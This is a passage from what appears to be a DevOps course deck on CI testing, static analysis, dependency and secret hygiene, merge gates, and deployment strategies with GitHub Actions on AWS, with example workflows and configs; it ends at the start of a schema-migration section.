Tests that run fast and mean something, static analysis, dependency and secret hygiene, and the gates that decide what may merge.

Chapter 6 · Part 6.1

Test pyramid in CI

Many fast tests, fewer slow ones, and real dependencies where they matter.

Test pyramid

Which tests, how many, and where they run

The pyramid is about cost and confidence: cheap tests catch most bugs; expensive tests prove the system works together.

E2EIntegrationcontract · service containersUnitmilliseconds · thousands
LevelRuns onTypical timeCatches
UnitEvery push and PRSecondsLogic errors, edge cases
IntegrationEvery PR1–5 minSQL, serialization, config, real drivers
ContractEvery PR (both sides)Seconds–minutesAPI changes that break consumers
End-to-endMerge queue / after deploy to dev5–20 minWiring, auth, user journeys
SmokeAfter every deploy< 1 minThe deploy itself worked

Rule of thumb: the PR pipeline should finish in under 10 minutes. Move slow suites to the merge queue or post-deploy, not out of CI.

Service containers

Real dependencies inside the job: services:

GitHub starts the containers before the steps and wires them onto the job network.

jobs:
  integration:
    runs-on: ubuntu-24.04
    services:
      postgres:
        image: postgres:17
        env: {POSTGRES_PASSWORD: test, POSTGRES_DB: hello}
        ports: ["5432:5432"]
        options: >-
          --health-cmd "pg_isready -U postgres"
          --health-interval 5s
          --health-retries 10
    env:
      DATABASE_URL: >-
        postgres://postgres:test@localhost:5432/hello?sslmode=disable
    steps:
      - uses: actions/checkout@<sha>     # vX.Y.Z
      - uses: actions/setup-go@<sha>     # vX.Y.Z
        with: {go-version-file: go.mod}
      - run: go test -tags=integration ./...

How it works

  • Job runs directly on the runner → reach the service via localhost and the mapped port.
  • Job runs in a container: → reach it by the service name (postgres:5432), no port mapping needed.
  • options passes docker create flags; health checks make GitHub wait until the service is healthy.
  • Service containers need a Linux runner with Docker (GitHub-hosted Ubuntu works).
  • Use throwaway credentials: these are test databases, not secrets.

Limits: one static set of services per job, started before any step, never restarted between tests. For a fresh database per test, Kafka + schema registry or LocalStack, use Testcontainers.

Testcontainers

Dependencies created by the test itself

The test starts the container it needs, waits for readiness, and removes it afterwards. Same code locally and in CI.

// db_test.go  (testcontainers-go, postgres module)
func TestRepo(t *testing.T) {
    ctx := context.Background()
    pg, err := postgres.Run(ctx, "postgres:17-alpine",
        postgres.WithDatabase("hello"),
        postgres.WithUsername("test"),
        postgres.WithPassword("test"),
        postgres.BasicWaitStrategies(),
    )
    if err != nil { t.Fatal(err) }
    t.Cleanup(func() { _ = pg.Terminate(ctx) })

    dsn, _ := pg.ConnectionString(ctx, "sslmode=disable")
    repo := NewRepo(dsn)
    // ... run migrations and assertions
}

Why teams switch to it

  • Each test (or package) gets a clean dependency: no shared state between tests.
  • Version of Postgres/Redis/Kafka lives next to the test, reviewed with the code.
  • Works anywhere Docker runs: laptop, GitHub-hosted runner, self-hosted runner with Docker.
  • Modules exist for common systems (databases, brokers, LocalStack for AWS APIs).

CI notes: pin test images (postgres:17-alpine), pull them through the ECR pull-through cache (Chapter 5), run on the runner (a job-level container: has no Docker unless you mount it), and size runners for parallel tests.

Contract tests

Catch breaking API changes before both sides deploy

Integration tests prove you can talk to a dependency; contract tests prove you still agree on the API.

Consumer-driven contracts

  • Consumer tests record the requests they make and responses they expect (for example with Pact).
  • The provider pipeline replays those contracts against its own build.
  • A provider change that breaks a consumer fails in the provider's PR.
  • A broker stores contracts and answers "can I deploy version X to prod?".

Schema-first alternative

  • OpenAPI / protobuf schema is the contract.
  • CI runs a breaking-change check on the schema diff (buf breaking for protobuf; OpenAPI diff tools).
  • Generated clients and servers keep both sides in sync.
  • Cheaper to adopt; does not verify behavior, only shape.

Where it fits

  • Many services owned by different teams → contracts beat a giant shared E2E suite.
  • Run on every PR on both sides; block deploy if a verified contract is missing.
  • Keep E2E for a handful of critical journeys only.
Speed

Sharding and parallelism with a matrix

Split a long suite into N jobs that run at the same time. Total compute stays the same; wall-clock time drops.

jobs:
  e2e:
    runs-on: ubuntu-24.04
    strategy:
      fail-fast: false
      matrix:
        shard: [1, 2, 3, 4]
    steps:
      - uses: actions/checkout@<sha>    # vX.Y.Z
      - run: npx playwright test --shard=${{ matrix.shard }}/4
      - if: ${{ !cancelled() }}
        uses: actions/upload-artifact@<sha>   # vX.Y.Z
        with:
          name: report-${{ matrix.shard }}
          path: playwright-report/

  # Go: split packages across jobs
  #   go list ./... | split by hash or by recorded timings

Techniques

  • Built-in sharding: Playwright --shard, Jest --shard.
  • Go: run packages in parallel (go test -p), or split the package list across matrix jobs.
  • Split by recorded timings, not file count, so shards finish together.
  • fail-fast: false so one red shard does not hide failures in others.
  • Upload per-shard reports and merge them in a final job.
  • Use concurrency (Chapter 2) to cancel superseded PR runs.
Flaky tests

Treat flakiness as a bug with an owner

A test that fails 1 % of the time across 30 tests fails about 1 run in 4. Teams then learn to click "Re-run" — and stop trusting red.

Detect

  • Track test results over time (JUnit XML uploaded per run).
  • A test that both passed and failed on the same commit is flaky by definition.
  • gotestsum --rerun-fails reruns failed Go tests and reports which passed on retry.
  • Dashboard: top flaky tests, failure rate, last seen (Chapter 13).

Contain

  • Quarantine: move the test to a non-blocking job, open a ticket with an owner and a date.
  • Automatic retries only with reporting: a retried pass must still be visible.
  • Never mark the whole job continue-on-error: true.

Fix the usual causes

  • Time: sleeps, real clocks, time zones → inject a clock.
  • Order: shared state between tests → isolate data per test.
  • Network: real external APIs → fakes or contract tests.
  • Concurrency: races → run with -race in CI.
  • Resources: CPU-starved runners → bigger runner or fewer parallel workers.
Chapter 6 · Part 6.2

Static analysis

Find bugs and vulnerabilities in code and infrastructure without running it.

Layers of static analysis

From formatting to security, each tool has a job

Run cheap checks first; send security findings to one place (GitHub code scanning via SARIF).

LayerExamplesSpeedBlocks merge?
Format and lintgofmt, golangci-lint, ESLint, hadolint, actionlintSecondsYes
Type and buildgo vet, tsc --noEmitSecondsYes
SAST (code)CodeQL, SemgrepMinutesYes for high-severity new findings
IaC (Terraform, K8s, Dockerfile)Checkov, Trivy config, KICSSeconds–minutesYes for high, with exceptions
SecretsSecret scanning + push protection, gitleaksSecondsYes (push protection blocks before commit lands)
Dependencies (SCA)Dependency review, Dependabot alerts, Trivy/GrypeSecondsYes for new vulnerable deps

Gate on new findings in the PR diff. Existing findings become a backlog with owners; otherwise the first scan blocks every PR in the repo.

CodeQL

Semantic code analysis with CodeQL

CodeQL builds a database of the code and runs queries for vulnerability patterns (injection, path traversal, unsafe deserialization…).

name: codeql
on:
  pull_request:
  push: {branches: [main]}
  schedule: [{cron: "17 3 * * 1"}]
permissions:
  contents: read
  security-events: write    # upload results
  actions: read
jobs:
  analyze:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@<sha>                  # vX.Y.Z
      - uses: github/codeql-action/init@<sha>        # vX.Y.Z
        with:
          languages: go
          build-mode: autobuild
          queries: security-extended
      - uses: github/codeql-action/analyze@<sha>     # vX.Y.Z

What to know

  • Default setup (repo settings) needs no workflow; advanced setup (this YAML) lets you choose queries, build mode and triggers.
  • Results appear as code scanning alerts and as PR annotations.
  • Free for public repositories; private repositories need GitHub Code Security.
  • security-extended adds more queries (more findings, more noise) than the default suite.
  • Schedule a weekly run: new queries find old bugs even without code changes.
  • Branch ruleset: "require code scanning results" can block merges on new high/critical alerts.
Semgrep and SARIF

Fast pattern rules, and one inbox for all scanners

Semgrep rules look like the code they match, so teams write their own in minutes.

# .semgrep/no-exec-user-input.yml
rules:
  - id: no-exec-with-request-data
    languages: [go]
    severity: ERROR
    message: Do not pass request data to exec.Command
    patterns:
      - pattern: exec.Command($CMD, ...)
      - pattern-inside: |
          func $H($W http.ResponseWriter,
                  $R *http.Request) { ... }

# workflow step (semgrep container image)
- run: >-
    semgrep scan --config p/golang
    --config .semgrep/ --sarif
    --output semgrep.sarif --error
- if: ${{ !cancelled() }}
  uses: github/codeql-action/upload-sarif@<sha>   # vX.Y.Z
  with: {sarif_file: semgrep.sarif}

Why SARIF

  • Any scanner that emits SARIF (Semgrep, Trivy, Checkov, gitleaks…) can upload to GitHub code scanning.
  • One alert list per repo, one triage workflow, one place to dismiss with a reason.
  • PR annotations show findings on the changed lines.
  • Use a category per tool when several upload for the same commit.

CodeQL vs Semgrep: CodeQL does deep data-flow (taint) analysis with strong default queries; Semgrep is fast with easy custom rules for your own APIs. Many teams run both.

IaC scanning

Checkov and Trivy for Terraform, Kubernetes and Dockerfiles

Misconfiguration is the top cloud incident cause; catch it in the PR that introduces it.

# Terraform directory
checkov -d infra/ --framework terraform \
  --output cli --output sarif --output-file-path console,results/

# Kubernetes manifests rendered from the chart
helm template charts/hello > rendered.yaml
checkov -f rendered.yaml --framework kubernetes

# Trivy: misconfigurations in IaC
trivy config --exit-code 1 --severity HIGH,CRITICAL infra/

# Skip a check inline, with a reason (Terraform)
resource "aws_s3_bucket" "logs" {
  # checkov:skip=CKV_AWS_144: replication not required for lab logs
  bucket = "cicd-lab-logs"
}

Practice

  • Scan rendered output for Helm and Kustomize — templates hide the real values.
  • Scan the Terraform plan JSON for values only known at plan time (terraform show -json plan.out).
  • Inline skips need a reason; review them like code.
  • Start in soft-fail mode for a week, fix the backlog, then enforce.
  • Same tools appear in the Terraform deck (#7) and the GitOps deck (ch 4): reuse one config across repos.
Chapter 6 · Part 6.3

Dependencies and secrets

Keep dependencies current without letting a poisoned release in, and keep secrets out of Git.

Dependabot

Version updates with grouping and cooldown

Dependabot opens PRs for updates. A cooldown waits a few days after a release before proposing it — most malicious releases are caught and pulled within that window.

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: gomod
    directory: /
    schedule: {interval: weekly}
    cooldown:
      default-days: 7
      semver-major-days: 14
    groups:
      go-minor-patch:
        update-types: [minor, patch]
  - package-ecosystem: github-actions
    directory: /
    schedule: {interval: weekly}
    cooldown: {default-days: 7}
  - package-ecosystem: docker
    directory: /
    schedule: {interval: weekly}

Two kinds of PRs

  • Version updates: from dependabot.yml, on your schedule.
  • Security updates: triggered by Dependabot alerts for a known vulnerability; not delayed by the schedule.
  • Cooldown applies to version updates; review security updates promptly.

Tips

  • Group minor + patch to cut PR noise; keep majors separate.
  • github-actions ecosystem updates SHA-pinned actions and their version comments (Chapter 9).
  • docker ecosystem updates base image tags and digests in Dockerfiles.
  • Auto-merge patch groups only when tests are strong and CODEOWNERS approve policy.
Renovate

Renovate: the configurable alternative

Same goal as Dependabot, more knobs: many ecosystems, regex managers, dashboards and fine-grained auto-merge.

{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "extends": [
    "config:recommended",
    "helpers:pinGitHubActionDigests"
  ],
  "minimumReleaseAge": "7 days",
  "schedule": ["before 6am on monday"],
  "packageRules": [
    {
      "matchUpdateTypes": ["patch"],
      "matchCurrentVersion": "!/^0/",
      "automerge": true
    },
    {
      "matchManagers": ["github-actions"],
      "groupName": "github actions"
    }
  ]
}

Dependabot vs Renovate

DependabotRenovate
SetupBuilt into GitHubGitHub App or self-hosted
Release delaycooldownminimumReleaseAge
Custom filesFixed ecosystemsRegex managers for anything
DashboardAlerts + PRsDependency Dashboard issue
Security alertsNative (Dependabot alerts)Uses vulnerability data; pairs with GitHub alerts
Dependency review

Block vulnerable or disallowed dependencies in the PR

actions/dependency-review-action compares the dependency graph of the PR base and head and fails on new problems.

name: dependency-review
on: pull_request
permissions:
  contents: read
  pull-requests: write     # for the summary comment
jobs:
  review:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@<sha>                 # vX.Y.Z
      - uses: actions/dependency-review-action@<sha> # vX.Y.Z
        with:
          fail-on-severity: high
          deny-licenses: GPL-3.0-only, AGPL-3.0-only
          comment-summary-in-pr: on-failure

What it checks

  • Newly added or upgraded packages with known vulnerabilities at or above fail-on-severity.
  • License policy for new dependencies (allow-list or deny-list).
  • Works from the dependency graph: manifests and lock files GitHub understands, plus submitted snapshots.
  • Free for public repositories; private repositories need GitHub Code Security.

Why in addition to scanners: it shows the change a PR introduces so the author fixes it before merge, it is fast (no build, no image), and it can be a required status check (section 21).

Secret scanning

Secret scanning and push protection

Detection after the fact is good; refusing the push is better. A leaked secret must be revoked even if the commit is removed.

Secret scanning

  • Scans the full Git history, issues, PRs and more for known token formats.
  • Partner program: some providers are notified and may revoke leaked tokens automatically.
  • Validity checks show whether a found token is still active (for supported types).
  • Custom patterns for internal token formats.

Push protection

  • Blocks a git push that contains a supported secret, before it reaches the repo.
  • The developer may bypass with a reason (false positive, test token, will fix later); bypasses are audited and can require approval.
  • Free for public repositories; private repositories need GitHub Secret Protection.
  • Also available per user for pushes to any public repository.

Response playbook

  • 1 · Revoke or rotate the secret at the provider — first, always.
  • 2 · Check provider logs for use of the secret since the leak.
  • 3 · Remove it from history only after rotation (history rewrites do not un-leak forks and clones).
  • 4 · Fix the cause: move to OIDC or a secret manager (Chapter 4).
Local and CI secret checks

Defense in depth: pre-commit and CI scanners

Push protection covers GitHub; local hooks and CI scans cover other paths (artifacts, images, other remotes).

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.x.y            # pin a released version
    hooks:
      - id: gitleaks

# CI: scan the built image for secrets baked into layers
trivy image --scanners secret --exit-code 1 "$IMAGE@$DIGEST"

# CI: scan the repo (complements GitHub secret scanning)
gitleaks detect --source . --redact

Where secrets leak besides commits

  • Docker layers (COPY .env, build args).
  • Workflow logs (echo $TOKEN, set -x, debug logging). GitHub masks registered secrets, but not values derived from them.
  • Uploaded artifacts and test reports.
  • Terraform state and plan files.
  • Error messages sent to chat or tickets.
Chapter 6 · Part 6.4

Gates and policy

Turn checks into rules: required checks, merge queues, exceptions, and preview environments.

Required checks

Branch rulesets: what must pass before merge

A check that is not required is a suggestion. Rulesets make the rules visible and apply them across many repos.

Ruleset rules for main

  • Require a pull request with N approvals and CODEOWNERS review.
  • Require status checks: lint, test, codeql, dependency-review, image-scan.
  • Require branches to be up to date — or use a merge queue instead.
  • Require code scanning results (block on new high/critical alerts).
  • Block force pushes and deletions; require linear history if you squash.
  • Require signed commits where your org needs commit provenance.

Org-level rulesets

  • Target many repositories by name pattern or custom property (for example tier=prod).
  • Evaluate mode first: see what would be blocked without blocking.
  • Bypass list: a small group or app, audited — not "all admins".
  • Required workflows in rulesets run a central workflow in every targeted repo (Chapter 3).

Check names matter

  • Required checks match the job name (or check run name) reported to GitHub.
  • Renaming a job silently leaves the old required check pending forever.
  • Matrix jobs report one check per matrix entry: require a final summary job instead.
  • Path-filtered workflows that skip never report: use a job-level if and an always-reporting job.
Merge queue

Merge queue and the merge_group event

"Require up to date" forces serial rebases on busy repos. A merge queue tests each PR on top of the PRs ahead of it, then merges automatically.

PR #101 approvedPR #102 approvedPR #103 approvedmain + #101merge_group runmain + #101 + #102merge_group runmain + #101..#103merge_group runmainfast-forwardedA failing group drops the culprit PR and retests the rest.
on:
  pull_request:
  merge_group:        # required checks must
                      # also run on this event
jobs:
  test:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@<sha>  # vX.Y.Z
      - run: make test

# slow E2E only in the queue:
#   if: github.event_name == 'merge_group'

If a required workflow lacks merge_group:, the queue waits for a check that never starts. Enable the queue in the ruleset for main and set build concurrency and grouping there.

Exceptions

Thresholds, waivers and who can bypass

Every gate needs an exception path that is faster than disabling the gate — and leaves an audit trail.

GateThresholdException mechanismOwner
Unit tests + coverageNo drop on changed filesReviewer approval with a commentTeam
CodeQL / SemgrepNo new high/criticalDismiss alert with reason (false positive / won't fix)Security champion
Image scanNo fixable high/criticalIgnore entry with owner + expiry (Chapter 5)Team + security
IaC scanNo high misconfigurationsInline skip with reasonPlatform team
Dependency reviewNo new high vulns, license policyAllow-list a package via PR to configSecurity
Ruleset bypassEmergency onlyBypass list (small group), auditedEngineering manager on call

Review exceptions monthly: count, age, and expired ones. A rising count means a gate is mis-tuned or a team needs help (Chapter 13).

Preview environments

A short-lived environment per pull request

Reviewers click a URL and see the change running. The environment is created on open/sync and destroyed on close.

on:
  pull_request:
    types: [opened, synchronize, reopened, closed]
concurrency:
  group: preview-${{ github.event.number }}
  cancel-in-progress: true
jobs:
  deploy:
    if: github.event.action != 'closed'
    runs-on: ubuntu-24.04
    environment:
      name: pr-${{ github.event.number }}
      url: https://pr-${{ github.event.number }}.dev.example.com
    steps:
      - run: ./deploy-preview.sh "pr-${{ github.event.number }}"
  teardown:
    if: github.event.action == 'closed'
    runs-on: ubuntu-24.04
    steps:
      - run: ./delete-preview.sh "pr-${{ github.event.number }}" 

Design choices

  • One namespace per PR on a shared dev cluster; DNS wildcard + Ingress.
  • GitOps variant: Argo CD ApplicationSet Pull Request generator creates and deletes the app (GitOps deck ch 8).
  • Seed data, not copies of production data.
  • TTL cleanup job for environments whose teardown never ran.
  • Never give preview deploys the prod role: separate OIDC role scoped to the dev cluster.
  • Fork PRs get no secrets: previews only for branches in the repo (Chapter 9).
Putting it together

The quality gate pipeline for hello

What runs where, and which checks are required by the main ruleset.

StageJobsTriggerRequired?
Fast checkslint (golangci-lint, hadolint, actionlint), unit (go test -race)pull_request, merge_groupYes
Securitycodeql, semgrep, dependency-review, iac-scanpull_request, merge_group (dependency-review: PR only)Yes
Integrationintegration (service containers / Testcontainers)pull_request, merge_groupYes
Imageimage build + image-scan (Trivy gate)pull_request (no push), push to main (push)Yes
Queue onlye2e (sharded)merge_groupYes (in queue)
After mergepush to ECR, sign and attest (Chapter 11), promotion PR (Chapter 7)push to main—

Keep job names stable: they are the required check names. Add a final ci-ok job with needs: on all others and require only that one when the set changes often.

Common mistakes

Tests and gates: what goes wrong

Most broken gates fail open: the check exists, but nothing is actually enforced.

Tests

  • Integration tests against a shared, long-lived database: order-dependent failures.
  • Retries hide flaky tests; nobody owns fixing them.
  • E2E suite grows until PRs take 40 minutes, so people batch changes.
  • Unpinned service images (postgres:latest) change behavior overnight.

Scanners

  • First scan enabled in blocking mode on an old repo: every PR blocked, gate removed.
  • Findings uploaded but nobody triages the alert list.
  • Scanning templates instead of rendered manifests.
  • Secrets "removed" by rewriting history but never rotated.

Gates

  • Check configured but not required in the ruleset.
  • Required check renamed → PRs stuck "Expected — waiting".
  • Merge queue enabled but workflows lack merge_group:.
  • Everyone on the bypass list.
Self-check

Testing and quality gates: can you answer these?

Explain the answer and name the exact event, input or setting.

Tests

  • How does a job reach a service container when it runs on the runner vs in a container:?
  • When do you choose Testcontainers over services:?
  • What do contract tests catch that integration tests do not?
  • Why shard by timings rather than by file count?
  • Name three common root causes of flaky tests.

Analysis and dependencies

  • Default vs advanced CodeQL setup: what does advanced give you?
  • Why upload every scanner's output as SARIF?
  • What does Dependabot cooldown defend against, and what is Renovate's equivalent?
  • What does dependency-review-action compare?
  • What is the first step after a secret leaks?

Gates

  • Why do required checks need to run on merge_group?
  • What happens when you rename a required job?
  • How do you require a matrix job without listing every entry?
  • Who should be on a ruleset bypass list?
  • How do preview environments avoid getting prod credentials?

Practice: Lab 6 in Hands-on labs — CodeQL, dependency review, push protection and Checkov on Terraform, wired as required checks with a merge queue.

Chapter 7

Deployment strategies and release

How a new version reaches users safely, how CI hands off to GitOps, how schemas change without downtime, and how versions get their numbers.

Chapter 7 · Part 7.1

Strategies

Recreate, rolling, blue/green, canary and shadow — and where each one runs on EKS, ECS and Lambda.

Deployment strategies

Five ways to replace a running version

Every strategy trades cost and complexity for a smaller blast radius and a faster rollback.

StrategyHow it worksDowntimeRollbackExtra costUse when
RecreateStop all old, start all newYesRedeploy old (slow)NoneDev, batch, singletons that cannot run twice
RollingReplace instances a few at a time behind the same endpointNoRoll back again (minutes)Small surgeDefault for stateless services
Blue/greenFull new stack beside the old; switch traffic at onceNoSwitch back (seconds)2× capacity during the switchRisky releases, fast rollback needed
CanarySend a small share of traffic to the new version, grow it while metrics stay healthyNoShift traffic back (seconds)Small; needs traffic splitting + metricsHigh traffic, good SLO metrics
Shadow (mirror)Copy live traffic to the new version; discard its responsesNoNothing to roll backFull extra capacityPerformance and correctness tests on real traffic; read-only paths

Old and new versions run at the same time in every strategy except recreate. Your API, events and database schema must work with both (part 7.3).

Deployment strategies

Blue/green and canary: what moves

Blue/green moves all traffic at once between two complete stacks; canary moves a percentage between versions.

Blue/greenRouter / ALBlistener ruleBlue (v1.4.0)100% → 0%Green (v1.5.0)0% → 100%switchTest green on a separate listener first,then switch; keep blue warm for fast rollback.CanaryRouter / ALBweighted targetsStable (v1.4.0)95% → 75% → 0%Canary (v1.5.0)5% → 25% → 100%stepAnalysis between stepserror rate, latency, saturation → promote or abort

On Kubernetes both are usually run by Argo Rollouts (GitOps deck ch 11). This chapter is about choosing and wiring them from CI.

On Kubernetes

Rolling update done right on EKS

The Deployment controller does rolling updates for free; readiness and budgets decide whether they are safe.

apiVersion: apps/v1
kind: Deployment
metadata: {name: hello, namespace: hello}
spec:
  replicas: 6
  minReadySeconds: 10            # stay ready 10 s to count
  progressDeadlineSeconds: 300   # fail rollout after 5 min
  strategy:
    type: RollingUpdate
    rollingUpdate:
      maxSurge: 25%              # extra pods allowed during the update
      maxUnavailable: 0          # never drop below desired capacity
  template:
    spec:
      containers:
        - name: hello
          image: <ecr>/cicd-lab/hello@sha256:<digest>
          readinessProbe:
            httpGet: {path: /healthz, port: 8080}
            periodSeconds: 5
---
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata: {name: hello, namespace: hello}
spec:
  minAvailable: 5
  selector: {matchLabels: {app: hello}}

Why each field matters

  • maxUnavailable: 0 + maxSurge keeps full capacity during the rollout.
  • Without a real readiness probe, "ready" means "process started" and broken pods get traffic.
  • minReadySeconds catches pods that crash a few seconds after start.
  • progressDeadlineSeconds turns a stuck rollout into a visible failure (kubectl rollout status exits non-zero).
  • The PDB protects capacity during node drains (Karpenter, upgrades), not during the rollout itself.
  • Deploy by digest, so the same bytes run in every environment.
On AWS

Where each strategy runs: EKS, ECS and Lambda

Same ideas, different machinery. Pick the native mechanism before adding tools.

PlatformRollingBlue/greenCanary / linearAutomatic rollback
EKSDeployment RollingUpdateArgo Rollouts blueGreen (or two Services + switch)Argo Rollouts canary with ALB weighted target groups or Gateway APIRollouts analysis abort; progressDeadlineSeconds only marks failure
ECSRolling update (minimumHealthyPercent, maximumPercent)ECS built-in blue/green (2025) or CodeDeployCodeDeploy configs such as CodeDeployDefault.ECSCanary10Percent5MinutesDeployment circuit breaker with rollback; CloudWatch alarms
Lambda— (versions are immutable)Alias moves to a new versionCodeDeploy configs such as CodeDeployDefault.LambdaCanary10Percent5Minutes, LambdaLinear10PercentEvery1MinuteCodeDeploy rolls back on CloudWatch alarm

CodeDeploy also supports lifecycle hooks (for example a Lambda that runs smoke tests before traffic shifts). Check the deployment configurations available in your Region before naming one in a template.

Lambda and ECS

Traffic shifting with aliases and CodeDeploy

For Lambda the "two versions" are numbered versions behind one alias; CodeDeploy moves the alias weight.

# AWS SAM: canary deploy for a Lambda function
Resources:
  HelloFn:
    Type: AWS::Serverless::Function
    Properties:
      Runtime: provided.al2023
      Handler: bootstrap
      CodeUri: ./build
      AutoPublishAlias: live            # new version + alias "live"
      DeploymentPreference:
        Type: Canary10Percent5Minutes   # 10% for 5 min, then 100%
        Alarms:
          - !Ref HelloErrorsAlarm       # alarm → automatic rollback
        Hooks:
          PreTraffic: !Ref SmokeTestFn  # runs before any traffic shifts

What happens on sam deploy

  • A new immutable version is published.
  • CodeDeploy runs the PreTraffic hook; failure stops the deployment.
  • The alias sends 10% to the new version for 5 minutes.
  • If the alarm fires, the alias returns to the old version.
  • Otherwise 100% shifts and the PostTraffic hook (if any) runs.
  • Rollback is an alias weight change: seconds, no rebuild.
Release vs deploy

Feature flags: deploy dark, release later

Deploying puts code in production; releasing exposes behavior to users. Flags separate the two.

What flags give you

  • Merge unfinished work to trunk behind an off flag (trunk-based development, ch 1).
  • Release to internal users, then 1%, then everyone — without a deploy.
  • Kill switch: turn a feature off in seconds during an incident.
  • Experiments (A/B) with the same mechanism.

Tools

  • OpenFeature: vendor-neutral SDK API with providers.
  • AWS AppConfig feature flags: validators, gradual deployment, rollback on CloudWatch alarm.
  • SaaS: LaunchDarkly, Unleash, Flagsmith, and others.
  • Plain config flags are fine for coarse on/off switches.

Flag hygiene

  • Every flag has an owner and an expiry date.
  • Remove the flag and the dead branch after full release.
  • Test both paths while the flag exists.
  • Flags are not access control; keep authorization separate.
  • Too many long-lived flags = untested combinations.
Choosing

Which strategy for which service?

Start with rolling + good probes; add canary where metrics can decide for you.

SituationStrategyWhy
Stateless API, moderate traffic, good probesRollingFree, built in, enough for most changes
High-traffic API with SLO dashboardsCanary with automated analysisSmall blast radius; metrics decide, not humans
Big-bang change (framework upgrade, new runtime)Blue/greenWhole new stack can be tested before the switch; instant switch back
Worker consuming a queueRolling (consumers scale down/up)No traffic splitting needed; make messages backward compatible
Singleton job or leader-only processRecreateTwo copies would conflict
New algorithm, must compare outputsShadow + feature flagReal traffic, no user impact
Risky user-facing behavior changeAny deploy + feature flag rolloutSeparate release risk from deploy risk
Chapter 7 · Part 7.2

Push deploy vs GitOps handoff

CI either deploys directly with short-lived AWS credentials, or it stops at a pull request and lets the GitOps agent deploy.

Two models

Who holds the keys to production?

In push mode the pipeline can change the cluster. In GitOps mode only the in-cluster agent can.

Push: CI deploysGitHub Actionsbuild + deploy jobAWS STSOIDC → roleEKS / ECS / Lambdakubectl, ecs, samid tokendeploy with role credsCI needs write access to every environment.Pull: CI hands off to GitOpsGitHub Actionsbuild + push + PRgitops-lab repoenvs/<env>/…Argo CDin the clusterECRsigned imagePR: new digestpullspushCI never holds cluster credentials; Git review = change approval.

Both are valid. Push is simpler for ECS and Lambda; the pull model is the default for Kubernetes fleets (GitOps deck ch 1).

Push deploy

Push to EKS from GitHub Actions with OIDC

Short-lived credentials from an IAM role; the role must also be allowed into the cluster with an EKS access entry.

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: prod            # approvals + prod-scoped OIDC sub
    permissions:
      id-token: write            # request the OIDC token
      contents: read
    steps:
      - uses: aws-actions/configure-aws-credentials@<sha> # v4
        with:
          role-to-assume: arn:aws:iam::<acct>:role/gha-cicd-lab
          aws-region: ap-northeast-1
      - run: aws eks update-kubeconfig --name cicd-prod
      - run: |
          kubectl -n hello set image deploy/hello \
            hello="$IMAGE@$DIGEST"
          kubectl -n hello rollout status deploy/hello --timeout=5m
        env:
          IMAGE: ${{ vars.ECR_REGISTRY }}/cicd-lab/hello
          DIGEST: ${{ needs.build.outputs.digest }}

What must be true

  • IAM OIDC provider + role trust policy on aud and sub (ch 4).
  • An EKS access entry maps the role to a Kubernetes identity with an access policy scoped to the hello namespace — not cluster-admin.
  • environment: prod adds required reviewers before the job starts.
  • rollout status makes the job fail when the rollout fails, so the pipeline tells the truth.
  • Values come from needs outputs through env:, never pasted into run: with ${{ }} (ch 8).
GitOps handoff

CI opens a promotion PR with the new digest

The build job outputs the image digest; a second job edits the config repo and opens a pull request.

  promote-dev:
    needs: build
    runs-on: ubuntu-latest
    permissions: {contents: read}
    steps:
      - id: app-token           # token for ANOTHER repo
        uses: actions/create-github-app-token@<sha> # v2
        with:
          app-id: ${{ vars.PROMOTER_APP_ID }}
          private-key: ${{ secrets.PROMOTER_APP_KEY }}
          repositories: gitops-lab
      - uses: actions/checkout@<sha> # v7.0.1
        with:
          repository: <you>/gitops-lab
          token: ${{ steps.app-token.outputs.token }}
      - env: {DIGEST: "${{ needs.build.outputs.digest }}"}
        run: |
          F=envs/dev/web/values.yaml
          yq -i '.image.digest = strenv(DIGEST)' "$F"
          git switch -c "promote/dev-${DIGEST:7:12}"
          git -c user.name=promoter \
              -c user.email=promoter@example.com \
              commit -am "promote(dev): ${DIGEST:7:12}"
          git push -u origin HEAD
      - run: gh pr create -R <you>/gitops-lab --fill
        env:
          GH_TOKEN: ${{ steps.app-token.outputs.token }}

Design choices

  • GITHUB_TOKEN can only write to its own repo: use a GitHub App installation token scoped to gitops-lab (not a personal access token).
  • Write the digest, not a tag: the PR diff shows exactly which bytes will run.
  • Dev: enable auto-merge when checks pass. Prod: CODEOWNERS approval on envs/prod/.
  • Promotion to staging/prod copies the digest that already passed the previous environment — no rebuild.
  • Alternatives: peter-evans/create-pull-request, Argo CD Image Updater or Kargo (GitOps deck ch 9).
Environments

Approvals and gates with GitHub environments

An environment is a named deployment target with its own protection rules, secrets and variables.

Protection rules

  • Required reviewers: up to six people or teams; one approval releases the job.
  • Prevent self-review: the person who triggered the run cannot approve it.
  • Wait timer: delay before the job starts (for example a soak period).
  • Deployment branches and tags: only main or v* tags may deploy to prod.
  • Custom protection rules: a GitHub App (for example a change-management or monitoring check) approves or rejects.

What else an environment scopes

  • Environment secrets and variables, visible only to jobs that use that environment.
  • The OIDC sub claim becomes repo:…:environment:prod, so the AWS role can trust only prod jobs (ch 4).
  • Deployment history per environment (who deployed which SHA, when).
  • Concurrency per environment to avoid overlapping deploys.
jobs:
  deploy-prod:
    needs: deploy-staging
    environment:
      name: prod
      url: https://hello.example.com
    concurrency:
      group: deploy-prod
      cancel-in-progress: false
    runs-on: ubuntu-latest
    steps:
      - run: ./deploy.sh

Availability of some protection rules depends on the plan and repo visibility (private repos on free plans have fewer). Check your plan before designing around them.

Comparison

Push deploy vs GitOps handoff

Decide per platform, not per company.

AspectPush from CIGitOps handoff (PR)
CredentialsCI holds a deploy role for each environmentCI holds only registry push + a token for the config repo
ApprovalEnvironment reviewers in GitHubPR review + CODEOWNERS on envs/prod/
DriftNot detected after the job endsDetected and optionally corrected by the agent
RollbackRe-run an older workflow or alias switchgit revert of the promotion commit
Audit trailWorkflow runs + CloudTrailGit history + agent events + CloudTrail
Best fitLambda, ECS services, one-off infra jobsKubernetes fleets, many clusters, many teams
Main riskCompromised workflow can deploy anythingCompromised config repo can deploy anything (protect it like prod)
Chapter 7 · Part 7.3

Database and schema changes

Expand/contract migrations, migrations as jobs, and why "roll back" often means "roll forward".

Expand / contract

Change the schema in steps both versions can live with

